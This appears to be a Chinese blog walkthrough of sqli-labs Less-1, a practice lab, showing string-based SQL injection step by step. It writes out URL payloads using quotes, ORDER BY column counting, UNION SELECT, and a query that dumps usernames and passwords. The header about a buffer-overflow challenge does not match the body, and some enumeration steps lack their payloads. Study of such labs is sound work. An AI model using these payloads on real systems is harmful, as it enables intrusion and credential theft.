pwnable-kr-bof
bof
Keep Calm and Carry On
本文是通过sqli-labs学习SQL注入,以下依次记录每一关的操作过程。
判断SQL注入是基于整形还是基于字符型的关键在于了解该字符是否需要单引号表示,现在id=1后面加一个单引号 id=1'
,发现页面显示的错误表明输入的单引号被后台执行了。
再次在id=1后面输入一个单引号id=1''
,发现可以正常执行,因此可以判断这是一个基于字符型的SQL注入,原理如下:
1 | select ... from ... where id = '1' limit 0, 1; |
1 | select ... from ... where id = '1'' limit 0, 1; |
1 | select ... from ... where id = '1''' limit 0, 1; |
因为order by 语句是根据某个字段排序,因此可以一一尝试,当没有报错就说明存在改字段,一直尝试到order by 4
发现报错,因此可以判断该表一共有3个字段。
1 | http://myapp/sqli-labs-master/less-1/?id=1' order by 4 |
使用id=-1
使得从表中查不到数据,然后再用自己的数据联合,判断表中第几个字段会显示在页面上。
1 | http://myapp/sqli-labs-master/less-1/?id=-1' union select 1,2,3 -- + |
显示当前用户、数据库名、版本等信息,可以知道数据库名是security
。
1 | http://myapp/sqli-labs-master/less-1/?id=-1' union select 1,2,concat_ws(char(58), user(), database(),version()) -- + |
枚举数据库中的表名:
枚举users表的字段名:
接下来就可以获取users表的全部数据:
1 | http://myapp/sqli-labs-master/less-1/?id=-1' union select 1,group_concat(password),group_concat(username) from users -- + |